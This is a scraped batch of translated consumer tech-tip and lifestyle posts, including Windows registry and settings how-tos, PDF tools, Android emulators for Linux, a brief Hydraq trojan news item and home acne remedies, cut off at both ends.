HideBasedOnVelocityId and press Enter .\nAdd Open command window here to background context menu Instructions on adding the option to open Command Prompt on the menu menu but when pressing Shift + right click on the background of the open folder, you will not see this option.\nIf you want to press Shift + right click on the background to open the position using Command Prompt, you need to do more steps below.\nStep 1 . Press Win + R to open the Run dialog box.\nStep 2 . Type regedit and click OK to open the Registry.\nStep 3 . Browse to the following key:\n HKEY_CLASSES_ROOTDirectoryBackgroundshellcmd  Do the same as from Step 4 to Step 16 above. When changing, you just need to change the DWORD name from ShowBasedOnVelocityId to HideBasedOnVelocityId and press Enter .\n  How to delete Open PowerShell window Here from the context menu You also notice that the Open PowerShell window here option is also used when using the above method. If you want to delete the PowerShell option from the extended context menu, follow these steps:\nStep 1 . Open the Registry and browse to the following location:\n HKEY_CLASSES_ROOTDirectoryshellPowerShell  Step 2 . Right-click the PowerShell key and click Permissions . Next, follow steps 5 through 14 in the above way.\nThen, in the PowerShell key, right-click the ShowBasedOnVelocityId DWORD and click Rename . Change the DWORD name from ShowBasedOnVelocityId to HideBasedOnVelocityId and press Enter .\n  After doing the above steps, pressing Shift + right click will only see the Open command window option.\nTo add this PowerShell option to the right-click menu, follow the same instructions, but rename the DWORD from HideBasingOnVelocityId to ShowBasingOnVelocityId and press Enter .\nAlthough you can run most commands using PowerShell, many people still prefer to use Command Prompt and context menu options provide a quick way to open the utility in a specific location without having to type long commands. to navigate to the directory path.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqwvMSnZJynnaKur7CMsKCnnJ%2Bseqmx0Z5kraddrLavsM6wqmZpYGK%2FqrPHrZqloZOgeq6xza4%3D\n","link":"/post/how-to-add-open-command-window-here-to-windows-10-right-click-menu/","section":"post","tags":null,"title":"How to add Open command window here to Windows 10 right-click menu"},{"body":"PDF files are now much more common and used by many people when sharing data. But editing PDF File is probably a \"nightmare\" for those who do not know too much about PDF. The use of PDF files is relatively difficult, even for those who use PDF files so much that people are afraid to edit PDF files. In this article, the Software Tips will guide you How to insert pages into PDF files.\n  I. Introduction of Nitro Pro software On Windows operating systems, we do not have PDF editing software available. We have to use software from third-party vendors, specifically in this article Software tips using Nitro Pro software.\nYou can download it at https://www.gonitro.com/download\nII. How to add pages to PDF files with Nitro Pro 1. Insert a blank page If you want to insert a blank page to add more content, then you do it this way. If you want to see how to insert an existing PDF page into your PDF file, see Part 2. Insert an existing PDF page.\nStep 1: You launch the software and select Open to open the PDF file to insert the page.\n  Step 2: Next, you need to select a page to proceed to insert a blank page before or after the page you are selecting.\nThen you select the tab Home -\u0026gt; Insert -\u0026gt; Insert Blank Page to insert more blank pages.\n  Step 3: Now the window will appear and ask you:\nAfter: Insert a blank page after the page you are selecting Before: Insert a blank page before the page you are selecting After selecting, select OK to proceed with inserting blank pages.\n  Step 4: When the new blank page is inserted you can select Type Text to proceed to enter the text of the new blank page.\n  2. Insert the existing PDF page This is similar to merging two PDF files into one. But you can choose the location to pair and the page to pair.\nStep 1: You launch the software and select Open to open the PDF file to insert the page.\n  Step 2: Next, you need to select a page to proceed to insert the PDF page before or after the page you are choosing.\nThen you select the tab Home -\u0026gt; Insert -\u0026gt; Insert From File to insert more PDF pages.\n  Step 3: You select Add Files . to open the PDF file to be added.\n  Step 4: After selecting you, click Next to continue, we will set up the pages to insert at the following step.\n  Step 5: Here you have a lot of options:\nPage Range:\nAll: Insert all PDF pages in PDF File Page From: Insert pages from . to . Location:\nAfter: Inserts at the back of the page you are currently selecting Before: Inserts at the front of the page you are selecting Finally, select Insert to proceed to add the PDF page.\n  And this is our final result after adding the PDF page.\n  In this article, Software Tips have shown you how to insert pages into PDF files. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqxrcaeqmasn2KubrzDn2SfoZya\n","link":"/post/how-to-add-pages-to-a-pdf-file/","section":"post","tags":null,"title":"How to add pages to a PDF file"},{"body":"Therefore, personalizing the taskbar can completely bring you new experiences. For example, you can change the taskbar color flexibly on Windows 11. Find out soon.\nChange taskbar color on Windows 11 First, open the Settings app by pressing the Windows + i key combination . Or you can also right-click on the taskbar and select ' Settings ' in the menu that pops up.\n  In the Settings application interface that appears, click on the ' Personalization ' item in the list on the left, then select ' Colors ' on the corresponding screen that appears on the right.\n  In the ' Colors ' section, find the option labeled ' Choose Your Mode ' and click ' Custom ' from the drop-down list.\n  Right below that, you use the drop-down menu next to ' Choose your default Windows mode ' and select the ' Dark ' option. This is an important step that allows you to apply an accent color to the taskbar.\n  ( Note : Under ' Choose your default Windows mode ', you are free to choose ' Light ' or ' Dark . This will not affect the color of the taskbar\".\nNext, scroll down to the ' Accent Color ' section and click on an available color option that you want to apply to the taskbar. If you can't find a color you like, you can click ' View Colors ' to choose a custom color.\n  Finally, turn the switch next to ' Show accent color on Start and taskbar ' to the ' On ' position.\n  (If you see this option greyed out, make sure you have ' Dark ' selected under ' Choose your default Windows mode ').\nImmediately, you will see the taskbar change to the selected color.\n  In case you want to apply this color option to the title bars as well, turn the ' how accent color on title bars and windows borders ' switch to the ' On ' position. Then close Settings and experience.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lk6S5sL6MqJ1mrJiaerWt0qSZmqpdqa60t8GaqWahnmLEqrrDqK6sZWFm\n","link":"/post/how-to-change-the-color-of-the-taskbar-taskbar-in-windows-11/","section":"post","tags":null,"title":"How to change the color of the taskbar (taskbar) in Windows 11"},{"body":"Current online office services such as Google Docs, Microsoft Office Online, etc. can all meet the demand for office use, such as editing, presentation slides, etc. at the basic level, such as cell formatting. Conditional Formatting, features available on Google Sheets.\nFeatures Conditional Formatting is similar to Microsoft Excel, supporting users to distinguish cells based on values ​​in each cell. With Google Sheets, this feature allows users to enter values ​​such as text, metrics, dates or any other data provided that the user set it. When Google Sheets identifies a cell that matches the conditions set, it will be formatted according to conditions. One of the examples of cell conditional formatting on Google Sheets is the highlighting of duplicate content on Google Sheets that network administrators once instructed you to do.\nBelow is a detailed article on how to use Conditional Formatting on Google Sheets.\nStep 1: We open Google Sheets data to work. Next, click on the Format item in the toolbar above the interface and then select Conditional Formatting .\n  Step 2: Appears in the interface to the right of the frame screen Conditional format rules to set the conditions for the data.\n  Step 3: In the Format cells if section . when we click on the arrow and a list of conditions for formatting the data box that Google Sheets supports will appear.\nFor example, you can use some conditions like:\nCell is empty: Empty box. Cell is not empty: The cell is not empty. Text contains: Contains text. Text does not contain: Does not contain text. Text is exactly: Has the exact same text. Date is: Contains the date. Date if before: Contains the previous day . Ngày là sau: Contains the following date . Greater than: Bigger . Greater than or equal to: Greater than or equal to. Less than: Smaller . Less than or equal to: Less than or equal to. Is equal: Equal to . Is not equal: Not equal to . Is not between: Not in the middle . Custom Formula: According to the formula.   For example, I will use the condition Text contains to format the data cell containing the text. And below will enter the \"g\" character. Shortly thereafter, Google Sheets will follow conditions to detect data cells that contain the \"g\" character and are marked with optional colors as shown below.\n  Step 4: When we set up a cell formatting condition, then click Done to perform, then we can set another condition. Click Add new rule to add conditions to the data.\n  We will have a list of data format conditions as shown below. If you want to remove any condition , just click on the trash can icon to delete it.\n  With the data format conditions that Google Sheets supports, users will be easier to use, differentiate and identify data based on conditions set such as finding duplicate content. Currently Conditional Formatting feature data format has also been applied to Google Sheets on Android.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6fp7qiwIycpqecmam2sLrApWScnZyhwG61zWaeqKeXobJuv8eenK2r\n","link":"/post/how-to-format-conditional-cells-in-google-sheets/","section":"post","tags":null,"title":"How to format conditional cells in Google Sheets"},{"body":"The trend of choosing PDF file format for text types, references, and manuals has now become popular. However, in case the PDF file is too heavy, it will be difficult to send files via email. To solve this situation, the best way is to use PDF file compression software to reduce the file size. File after compression will reduce the file size significantly, making it more convenient for you to share files. In the following article, we will show you how to reduce PDF file size by some professional software.\n1. PDF Compressor compress PDF file: Download Free PDF Compressor software Free PDF Compressor is a tool that can reduce PDF file size by reducing the graphics in content. The working mechanism of the software is to check all data, then filter out unnecessary graphic structures to remove them, so the file size is only 50% of the original capacity. . You will not see the difference in content, especially in the graphics section, even though it has been truncated, the file content and file layout remain the same.\nStep 1: First, download the software according to the link above and proceed with the installation. The installation process is also simple, we just need to click Next . Install to finish the installation is complete.\n  Step 2: At the Free PDF Compressor interface, you will see there are 2 options including compressing PDF files or compressing PDF folders. Here I will choose to compress the PDF file so I will select it in Single PDF file. Then, click on the file icon as shown below to open the folder containing the PDF file to compress the capacity. Go to Next to go to the next step.\n  Step 3: If you want to check if the file is locked with a password or not, click Check Now . Otherwise we continue to click Next .\n  When you come to the interface as shown below, users click the Browse button to change the folder to save the PDF file after compression is finished. Continue clicking Next .\n  Step 4: We will wait for the compression process to complete and click Next . After the compression is complete you will have the complete PDF file when the file size is reduced.\n  2. FILEminimizer PDF reduces PDF file size: Download FILEminimizer PDF software FILEminimizer PDF has the ability to reduce file size up to 75% and still ensure the original file format, as well as the quality of the file remains unchanged. The tool will optimize PDF file structure and compress images, graphics and other types of data in PDF files.\nStep 1: First of all, we proceed to download the file according to the link above and proceed with the installation. We just need to click Next . Install to install FILEminimizer PDF. The software will allow us to try it for 30 days.\n  Step 2: Continue to click Continue Testing to come to the main interface of the program.\n  Step 3: At the interface dialog of the program as shown below, please click on the Open Files section to open the PDF file to reduce the size.\n  Soon, we will see the file name attached, which is the size of the PDF file. In case you want to add a PDF file to compress, click Add to List. If you want to remove the file from the drop-down list, click on the file and select Remove form list.\nContinue to select Optimize File to proceed to reduce PDF file size.\n  Step 4: Depending on the size of the PDF file you want to reduce as well as the number of PDF files in the list decreases, the file compression process is fast or slow. In case the user wants to stop the compression process, click Cancel Compression.\n  When the decompression process is successful, you will receive the message as shown below. The program will record the original file size and the PDF file size after being extracted.\n  Above are 2 software to support users can reduce the size of PDF files but the file quality is not affected too much, the image is not reduced quality and the content layout remains the same. In the process of compressing PDF files, with large files, the time to reduce the capacity will be longer.\nRefer to the following articles: Instructions for creating a PDF file from multiple image files on Windows How to quickly convert Word files to PDF? Top 5 quality PDF reading software ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmcKksYypm59llp65pnnSorGeZZKuerS7xa2umqqV\n","link":"/post/how-to-reduce-pdf-file-size-by-software/","section":"post","tags":null,"title":"How to reduce PDF file size by software"},{"body":"Windows 10 has a search bar or Cortana that is very useful when you want to find any file or software on your computer. And if users want to manage files and find it easier, they can install Taggr application. The Taggr application will tag any file you normally use on your computer to find and open it faster when you need it. We do not need to remember the detailed name of the file, just enter the tag name attached to the file. Besides, the application also has some additional features such as opening the file immediately with the support program on the computer. The following article will guide you how to use the Taggr application on Windows 10.\nSearch more easily with tagged files in Windows How to manage files by tag on Windows 10 Faster search tips in Windows 10 How to fix an unreadable, inactive Search Windows 10 error Instructions for finding files faster with Taggr Step 1:\nWe click on the link below to install Taggr application on Windows 10 computer.\nDownload the application Taggr Windows 10   Step 2:\nOpen the application interface and then click the Add Item item to open the interface for creating tags for the file.\n  Step 3:\nSwitch to the new interface, users click on Select File to select the file to tag management.\n  Then in the Add Item interface of the application displays the selected file name at Filename and directory path at Full Path. Next enter the tag name in the Add a tag bar below and click the plus sign to create the tag. Soon the newly created name tag for the file is shown below. Users can create multiple tags for a file. Perform the above operation with other files to create the card.\n  If you want to delete the name of the card you have created, click on the tag name and select Remove Selected Tag. Finally click Save to save the tag attached to the file.\n  Step 4:\nBack to the main interface of the Taggr application, clicking on My Items will see all the tagged files for the file.\n  If the tagging list is long, enter the tag name into the Search Tags search bar to find it faster. Also in this interface when clicking on each file, there are 3 different options including:\nOpen Selected Item: open the file in the support program on the computer such as audio, video, text, . except the exe file. Edit Selected Item: edit the tagging content for the file like selecting another file, another card name. Delete Selected Item: delete the tagging file from the saved list.   With the Taggr application, managing files becomes simpler and more scientific through name tags you have assigned to those files. From here users search files much faster.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRnHqntcueqmannmLEqrrDqK6sZWFleri106FkrZmXnL8%3D\n","link":"/post/how-to-tag-files-on-windows-10-with-taggr/","section":"post","tags":null,"title":"How to tag files on Windows 10 with Taggr"},{"body":"The X Music Visualizer tool will create 3D wallpapers when we listen to music with any application on Windows, including music software that you install from outside. 3D wallpaper displayed as a wave of beautiful moving music according to the melody of the song. If you've ever used Windows Media Player on Windows, you probably know the music interface when we listen to music. However, instead of displaying the music player interface, X Music Visualizer will create a computer wallpaper that moves with the song. The application takes up low CPU resources, supports many customization so we can change the 3D effect interface. The following article will guide you how to use X Music Visualizer.\nInstructions to create 3D animated wallpapers for listening to music Step 1:\nDownload the X Music Visualizer tool using the link below, then extract and run the exe file and you're done.\nhttp://xdesktop.com/xmusicvisualizer.html Now you just need to listen to music with any tool or software, immediately the computer screen changes to the 3D music interface as shown below.\n  Step 2:\nNext, right-click the tool's icon under the system tray and select Select Theme .\n  Display the new interface, click WorkShop . This is the section where we use Steam Workshop to download and share the Visualizer theme. Your computer must have Steam installed.\n  Step 3:\nTo edit the wave effect, click on the icon and choose Edit Theme . Display the new interface, users choose the Style section and you will see a list of wave effects for us to change. Click Save below to save.\n  Then the new effect is changed according to the theme you have chosen.\n  Step 4:\nIn addition, we can also set the background, click Background and then activate Use System Wallpaper to Off . Below select the type of background is a photo or video and press Select to download .\n  If you click Exit, the desktop wallpaper interface returns to the original state.\n  Step 5:\nIf you want, you can also create 3D effects wave music . Click Create theme then enter a name for the theme. Now we choose the type of effect available , then edit the angles and positions for the music waves in that theme. Finally click Save to save.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq5ecyuqqKbXau2tMHApaCznaJiwbB5wqucmqyVYoClecyuqqKbXayut7GMnp2fnZOp\n","link":"/post/how-to-use-x-music-visualizer-to-create-3d-music-wave-effect/","section":"post","tags":null,"title":"How to use X Music Visualizer to create 3D music wave effect"},{"body":"   The Trojan.Hydraq worm was used to exploit the Zero-day vulnerability in Internet Explorer, reports from Symantec. \n Since the news spread last week about Google threatening to withdraw from China, there have been rumors surrounding targeted attacks on the issue. Part of the controversial issues involved in the Trojan.Hydraq worm were used to exploit the Zero-day vulnerability in Internet Explorer. The most recent events have caused more public attention to the Hydraq worm, although the Trojan itself is not new. Basically, this worm is very similar to the usual backdoor Trojan attacks, and it is not so complicated when compared to other types of malware that are being distributed online. Based on the feature of this worm, we can surmise correctly that its purpose is to open a backdoor on the infected computer and allow the remote attacker to control the operation and Stealing information from not only an infected machine but on the IT infrastructure that the computer is connected to.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2ByzqukmqyZpLtustGopGarqaKur8DEnGSamp%2BqwW602J2pmqldqb%2BwtsCnZLCnoqLA\n","link":"/post/information-from-symantec-about-hydraq-trojan-worms/","section":"post","tags":null,"title":"Information from Symantec about Hydraq trojan worms"},{"body":"A few weeks ago, many users started complaining about the loss of noise cancellation on calls in the Accessibility section of the iPhone 13. Almost all iPhone models released in recent years have included this feature. this feature, but the iPhone 13 does not. Many people think this is a software bug but in fact that feature has been removed by Apple.\nInformation about this issue has been confirmed with the user by Apple support staff. \"After a month of complaining to Apple and a senior consultant telling me to wait for an update to fix the bug, I got an update saying that this problem won't be fixed. The reason is because of the noise cancellation feature when calling has been disabled globally on iPhone 13 for unknown reasons,\" user Steve shared on Twitter.\n\"We've just had an update. Phone Noise Cancellation is not available on iPhone 13 models, so you won't see that option in Settings,\" the announcement reads. from Apple to Steve.\n  It's currently unclear why Apple removed the feature from the iPhone 13 series, and it's also unknown if Apple plans to bring it back. Most likely, Apple realized that this feature had too few users, so it was quietly removed without notifying users.\nAt the present time, users can temporarily solve it by activating the Voice Isolation feature in Control Center when making calls.\nncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZmljYrWiv4ytn55lkpawrLPRqKynnF2jvKq%2FxGaamqaTmrmtrdOipqdllpqutcHRnmSrnZ2kw6awjLCfnqZdoq6stc2gZKmgn6Oybq%2FApaOs\n","link":"/post/iphone-13-has-the-background-noise-cancellation-feature-removed-when-making-phone-calls/","section":"post","tags":null,"title":"iPhone 13 has the background noise cancellation feature removed when making phone calls"},{"body":"Back in 2012, Microsoft had a lot of success when it released a feature called \"Simple Markup,\" which gave users more control over how their documents were displayed in Word. However, users of the web version of Microsoft Word have so far not been able to experience the benefits of Simple Markup, as the feature is only available with the Windows and Mac versions of Word.\nIt is not clear why Microsoft has 'delayed' bringing Simple Markup to the Word for web version for so long. But this will change within the next few months. In a recent blog post, Microsoft announced that the 'Simple Markup view' feature is in the process of rolling out to Word for the web. This information immediately attracted a lot of attention because this is a feature that has been long-awaited by Word web users.\nWhen viewing and working on a document that contains tracked changes, most people will want the document to be less distracting. In such cases, choosing the \"Simple Markup view\" option can help increase the user's focus on the document by omitting all unnecessary elements, keeping only recommendations from those who are interested. document review in the peripheral area. This allows the user to focus on the document content, while remaining aware of existing suggestions and comments.\n    As can be seen in the illustration above, Simple Markup shows the location of the changes, with a red line in the margin. While All Markup shows all the edits made and the same red line.\nThe way the Simple Markup view works is generally not complicated. First, you just need to click the Review tab in any document on Word for the web. Then, click the arrow to the right of the Markup view button and select the \"Markup in margin (Simple Markup)\" option from the menu that appears.\nMicrosoft says it will roll out the feature to all users of the web version of Word over the next month. Also encourage user feedback to improve the experience in the future.\nIn related news, Microsoft has also committed to announcing plans to add a dark mode to the Word for web version, which is expected in the first half of June.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYq6vus6upZydo2LBqbGMpqasrF2Wu7W1wqKnmqyVmXqnscCtrKudXaS7bsPOq5tmr5WXerex0aygqKY%3D\n","link":"/post/microsoft-announces-the-most-anticipated-feature-on-word-web-version/","section":"post","tags":null,"title":"Microsoft announces the most anticipated feature on Word web version"},{"body":"The motorbike must be very familiar to anyone, but not everyone cares for it. Usually, wait until it is malfunctioning or damaged, then bring it to the store. So why not think about having a set of motorcycle repair kits to use when you need it? It will save you significant time and money on fixing it. Today's article, quantrimang will reveal the experience and show you how to buy genuine motorcycle repair tools , cheap and offline!\n  Quick view content Experience of buying cheap and quality motorcycle repair tools Note when buying motorcycle repair kits Where to buy motorcycle repair tools cheap, quality Experience of buying cheap and quality motorcycle repair tools Consistent with the needs of use Although all are used for motorcycle repair, not all kits include the same details and tools. Each set will include repair kits with different functions and quantities. Therefore, when choosing to buy motorcycle repair tools, you should rely on your needs to choose the right kits.\n  For example, if you buy a motorcycle repair kit for the purpose of carrying when traveling, traveling or traveling, it is very appropriate to choose the small, small motorcycle repair kit and only include a few details. basic. On the other hand, if you buy it for home use or for small car repair shops, general or general repair kits, including lots of details, would be great for you. Even with this versatile kit, you can use it to repair other items such as bicycles, cars, other machinery .\nMachine parts must conform to design standards Regardless of how many items of motorcycle repair kit, the price of a motorcycle repair kit, it is important that the product be designed to meet the standards. Because only when using standard and quality tools, the operations can be performed correctly, quickly and persistently. Therefore, before buying you need to find out and know exactly about the size, standard material of the device.\n  \nChoose a good brand name, reputable address In order to choose a good, low-quality and good motorcycle repair kit, the priority job is to choose a brand with a good brand and the address to sell motorcycle repair kits must be very reputable. At that time, you will buy the right kit, have a good, long-term warranty.\nOn the market today, there are many manufacturers of motorcycle repair kits. You should prioritize choosing names like YATO, Bosch, INGCO, Tolsen, SATA . These are good brands that are highly appreciated by consumers and have positive feedback.\nNote when buying motorcycle repair kits Check the details, must be really sure, easy operation, electrical safety If possible, you should check and trial use the product at the store's address before payment or request to check the goods before receiving goods for online purchase. Claim genuine, long-term warranty, can be exchanged if there are errors, damage due to technical errors.   Do not buy used equipment. Because then it will be difficult for you to know the product status and long service life is long. Do not be cheap ham but buy low quality products. Should choose versatile kits to serve for many different purposes and save space. Where to buy motorcycle repair tools cheap, quality Currently, there are many types of motorcycle repair kits on the market with many designs and models from many different brands with different prices. Your job is to find genuine, quality, versatile and important kits that are suitable for your family's use.\nIf you have not found a reputable address to sell motorcycle repair kits, you can come to META.vn. This is a reliable address with more than 10 years of experience in e-commerce business, specializing in providing genuine tools and tools from famous brands such as YATO, Bosch, INGCO, Tolsen, SATA ., including quality motorcycle repair kits at the most competitive prices on the market.\nncG1vNJzZmismaXArq3KnmWcp51kxKmx0Z5kraddl8K6ecyoq6iqk66wrbGMq5ypmZmnerW7zqWqZpuYmq6xedCumKWhpK4%3D\n","link":"/post/where-to-buy-motorcycle-repair-tools-cheap-quality/","section":"post","tags":null,"title":"Where to buy motorcycle repair tools cheap, quality?"},{"body":"There is a truth that not everyone knows that wifi and microwaves have the same frequency of 2.4 GHz. However, microwaves can heat or cook foods while wifi can not. Why so?\nIn 1947, the International Telecommunication Union announced ISM bands to identify certain radio bands that devices would be allowed to run on so that they would not interfere with other radio communications services.\nIf you don't know, ISM stands for Industrial, Scientific, and Medial.\nThe 2.4GHz band features no power to broadcast, heats food at a relatively low power level and is easy to control, designated by ISM as an unlicensed spectrum for the oven. microwave.\nThe original intention of the ISM was that the 2.4GHz band was only for devices without communications.\nHowever, due to this unlicensed spectrum has a low power requirement, operability within an acceptable range and low deployment costs, it was later used on many other communications devices. such as cordless phones, radios, and wifi.\nWhy doesn't the wifi wave 'cook' us like a microwave?\nWifi and microwaves use a similar radio frequency but between them there are two major differences: concentration and energy.\nA wifi router sends signals in all directions in a circle as far as possible. In contrast, microwaves only send signals in a single direction to the center of the oven.\nA standard wifi router produces about 100 milliwatts (or 0.1 watts), much lower than a microwave, about 1,000 watts.\nTherefore, the 'strength' of wifi is certainly not enough to cook or affect human health.\nBecause wifi devices and microwaves use the same frequency, they can interfere with each other. This is the reason why the wifi signal on a device near a microwave is lost when you start the microwave. To fix it, just move the device away from the microwave or buy a new wifi router that works on the 5GHz band.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mnqtdqbWmedainaJlp5bDpnnHmq2eZaSdsm6%2FwKacZp6imr62sc2csGaZo2LBqbGMpqCcqp%2BsrrexjJusrWWUpLK0utNmmqinm2Kur8XToaCnnw%3D%3D\n","link":"/post/why-does-the-wifi-wave-have-the-same-frequency-as-the-microwave-but-doesn-t-cook-anything/","section":"post","tags":null,"title":"Why does the wifi wave have the same frequency as the microwave but doesn't 'cook' anything?"},{"body":"Are you having trouble with acne scars? Acne is common because changes in hormonal hormones in puberty are common, but acne can also be inherited or caused by skin diseases, like Cushing's syndrome. Many people believe that the cause of acne is due to eating fatty foods, but this is not entirely true.\nIf you don't want to leave acne scars, you don't need to use expensive treatments because there are many natural methods that can remove acne scars. These methods are completely safe, easy to use and do not harm the skin. Let's take a look at 12 tips to remove acne scars quickly and effectively with natural ingredients below!\n1. Coconut oil   Coconut oil is one of the best natural moisturizers and skin healing properties. Just wash your hands and take ¼ teaspoon of coconut oil into your hands. After that, apply coconut oil directly to your face with your fingers and leave it on your face for as long as you like. [9 ways to make beauty with coconut oil simple and effective]\n2. Potato juice   If you want to remove acne scars quickly, use potato juice. Potatoes and vitamins rich in minerals help skin heal effectively. Simply slice the potatoes into thin slices and apply to your face for 15 minutes, then wash the potato juice on your face with warm water.\n3. Honey   Honey can remove scars and pure honey will be more effective than processed honey. You can buy pure honey directly at local farms or health stores. Simply massage a small amount of honey on the acne spot for the time you want.\n4. Aloe vera   Aloe vera Aloe Vera gel contains a lot of vitamins to help fade acne scars . Let the gel soak in your face for about 30 minutes then rinse with water and dry your face.\n5. Apple cider vinegar   Apple cider vinegar is a natural antiseptic that balances the body's pH. In addition, apple cider vinegar is also an effective antimicrobial and antiseptic treatment for acne . Mix 1 part apple cider vinegar with 1 part water and apply makeup remover to acne scar. Leave on for 10 minutes then rinse and dry. You can use this method once a day until you see the results. [13 great uses of the PAP may not be known]\n6. Lemon juice   Lemon juice can remove acne scars by lightening the skin on the scar . Mix 1 part lemon juice with 1 part water then rub on the scar. Leave on for 20 minutes, then rinse with water and apply moisturizer.\n7. Stone tablet   Applying stones to acne can quickly reduce the redness of inflammation. Put on the stone and put on the scar for a few minutes, you will see clear results.\n8. Tea tree oil   Tea tree oil has antibacterial, antiseptic and antifungal properties , this is the best way to remove acne scars. Mix 2 drops of tea tree oil into 1 tablespoon of water and then apply makeup to the skin. Remember to never apply undiluted tea tree oil directly to the skin, because the tea tree oil is so strong that it can make your skin worse.\n9. Baking soda   Baking soda eliminates acne scars by peeling skin. Mix 2 teaspoons of baking soda with 2 teaspoons of water, then apply that mixture to the scar. Leave on for 3 minutes and rinse with cool water.\n10. Olive oil   Olive oil is benign to the skin, which contains lots of vitamins including vitamin A, vitamin D, vitamin E and vitamin C. Apply olive oil to scars and massage. Leave oil on your face for 1 hour, then rinse with cool water.\n11. Cucumber   Cucumbers are able to moisturize and contain vitamins that are good for acne scar removal. Put cucumber slices on the acne spot for 30 minutes then wash your face. You can do this every day for the best results.\n12. Exfoliating sugar   Removing dead skin cells with sugar helps to remove acne scars by peeling skin. Mix 3 tablespoons of sugar with 2 teaspoons of olive oil, then apply to the face and leave for 20 minutes then rinse with cleanser.\nHowever, it is important that \" prevention is better than cure \" so you can prevent scars from acne following these steps:\nDon't touch your hands with acne - squeezing acne is more likely to cause acne. Washing your face often helps prevent acne breakouts that can leave scars. Avoid scars that come into direct contact with the sun - over time the scars caused by the blurring will fade, but the sun can slow this process and make the scars become \"dark. color \"more. ncG1vNJzZmismaXArq3KnmWcp51kfnN506KnrGWkpHqzscyorZ5lkZi7pnnSnJirq12mwqqvyqWwZpmemXqmssWemq2hppq5unnWoquhZZ6Wwba%2BwKVkoqaXp7KltcSnq6w%3D\n","link":"/post/12-tips-to-remove-acne-scars-quickly-and-effectively-with-natural-ingredients/","section":"post","tags":null,"title":"12 tips to remove acne scars quickly and effectively with natural ingredients"},{"body":"Who says you need a smartphone to enjoy the benefits of Android apps? With the Android emulator for Linux, you can enjoy the smartphone experience without it.\nAndroid uses the Linux kernel itself, so running the emulated version of this operating system on your computer is impossible. Here are the four best Android emulator software you can use on Linux.\nAndroid emulator online right in the browser 10 best Android emulator software for Windows Top best iOS emulators help run applications on Windows 1. Android-x86 https://www.android-x86.org/  The Android-x86 project is not just limited to emulators. This is an alternative to running Windows or Linux on a PC or laptop. It is an x86 Android CPU architecture portal that most modern computers and laptops can use. This is not the same as a smartphone that uses a lighter, lower-power ARM processor.\n  Because Android-x86 has been ported to run on a regular computer, you can run it as a virtual machine using VirtualBox or VMware. That's why it's a good choice for Android emulators on Linux. You can now run your Android applications with other Linux programs.\n6 best virtual machine applications Google Play Store comes with Android-x86 so you can install all your favorite applications right after installing the virtual machine. However, you should note, not all Android applications can run on x86 computer platforms, so you need to try them first.\nAndroid-x86 is in the process of development, so you can expect frequent features and improvements, as well as optimize speed and performance. This is Android vanilla (the most basic version) of Android and there is no bloatware so the only drawback is computer system resources.\nInstall and test the \"x86 Android operating system\" on the computer, directly on the USB, parallel to the other OS 2. ARChon https://archon-runtime.github.io/  You do not have to run a virtual machine to use Android application on Linux. Thanks to the ARChon project, you can run the Android application in the Chrome browser. ARC stands for Android Runtime for Chrome, acts as a miniature Android environment for your applications.\n  ARC is a Google creation, initially tested to run Android applications on Chrome OS. Therefore the same principle applies to ARChon, taking ARC open source elements to run the modified version of the Chrome browser. You just need to install ARChon runtime as a developer extension on Chrome, then add another application using the APK for the Chrome extension tool provided by ARChon developer.\nYou cannot use Google Play to install Android apps here and not all applications can run on ARChon. ARChon is a good way to run some applications on Linux computers without using a virtual machine.\n3. Anbox - Android in a box https://anbox.io/  Anbox emulates Android in a slightly different way. It runs like a Linux container, shares the Linux kernel and host system resources but creates its own Android user space.\n  Because Anbox shares the server kernel and allows direct access to the hardware, this is a faster approach to running Android apps on Linux computers. Better performance and because of the container-style approach, it's safe, you won't run any risk of running any unsafe application.\nIt does not have Google Play Store, so you need to identify and install the application manually. Lower demand for system resources emulates virtual machine use. This is a suitable choice for low power equipment.\nLow-profile Android smartphone apps 4. Genymotion https://www.genymotion.com/  Professional developers and Android gamers can use the Genymotion Android emulator. This is another method of using virtual machines but is best supported.\n  Genymotion is a commercial product, with Android virtual machines available as a cloud image or a local desktop using Virtualbox. It comes with many unique test elements, like fake GPS and battery reports, so it's useful for test developers and engineers. The emulator also comes with the option to install Google Play services as standard.\nHome users have a miniature product in the Genymotion Personal Edition, free of charge and missing some advanced testing features. If you want more features, you'll need an annual Genymotion license to run the software and take advantage of expert support.\nRunning Android on Linux is not difficult because of the above Android emulators. You can run the original Android in a virtual machine with Android-x86 or run it in the browser with ARChon. If your computer is not good enough to run the emulator, you can project your Android screen on your computer.\nncG1vNJzZmismaXArq3KnmWcp51kgW6uxKyrZpmemb%2BwtcNmnKatnJbBsL6MrKafrKeWv6Z5y6KlrrA%3D\n","link":"/post/4-best-android-emulator-software-linux/","section":"post","tags":null,"title":"4 Best Android emulator software Linux"},{"body":"Users should monitor mobile data usage to avoid exceeding data usage. Among the two major mobile operating systems, Android provides users with an interface to monitor and monitor mobile data usage; on the other hand iOS does not provide much information. So this article will introduce you to applications that manage mobile data usage on both iOS and Android.\n1. My Data Manager Download My Data Manager for Android\nDownload My Data Manager for iOS\nMy Data Manager is available on both Android and iOS. It is free, does not come with any ads and tracks data usage for mobile phones, WiFi and roaming. To use the application, simply enter the data limit, the renewal time and the renewal date.\nInstructions for using international Roaming service   Now, switch to the summary tab and you will get an overview of data usage for mobile devices, WiFi and roaming (if available). The app tracking tab provides a list of applications that are using mobile data or WiFi. This helps you know how to adjust usage in case mobile data is close to the limit.\n  Another great thing about this application is the ability to set up warnings about data usage.\n  The \" Set Custom Alarm \" feature allows users to set alerts to notify when mobile data reaches a specific limit.\n  2. RadioOpt Traffic Monitor \u0026amp; 3G / 4G Speed Download RadioOpt Traffic Monitor \u0026amp; 3G / 4G Speed ​​for Android\nDownload RadioOpt Traffic Monitor \u0026amp; 3G / 4G Speed ​​for iOS\nBasically, this application is a 